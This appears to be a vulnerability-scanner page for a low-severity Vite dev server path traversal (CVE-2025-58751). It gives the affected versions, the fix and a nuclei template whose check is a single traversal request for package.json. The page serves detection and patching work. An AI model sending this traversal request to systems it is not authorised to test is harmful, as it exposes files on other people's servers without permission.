Vite Dev Server - Path Traversal

lowseverity

5.3CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Impact

Attackers can access unauthorized files bypassing filesystem restrictions, potentially exposing sensitive data.

Fix

Update to versions 7.1.5, 7.0.7, 6.3.6, or 5.4.20 or later.

How to confirm it

Send: GET {{BaseURL}}/../package.json
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"name\":", "\"overrides\":")

Run it with nuclei: nuclei -id CVE-2025-58751 -u <target>

The full check

id: CVE-2025-58751

info:
  name: Vite Dev Server - Path Traversal
  author: wn147
  severity: low
  description: |
    Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
  impact: |
    Attackers can access unauthorized files bypassing filesystem restrictions, potentially exposing sensitive data.
  remediation: |
    Update to versions 7.1.5, 7.0.7, 6.3.6, or 5.4.20 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58751
  classification:
    cve-id: CVE-2025-58751
    epss-score: 0.01263
    epss-percentile: 0.69928
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,vite,lfi,vuln


http:
  - method: GET
    path:
      - "{{BaseURL}}/../package.json"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":", "\"overrides\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from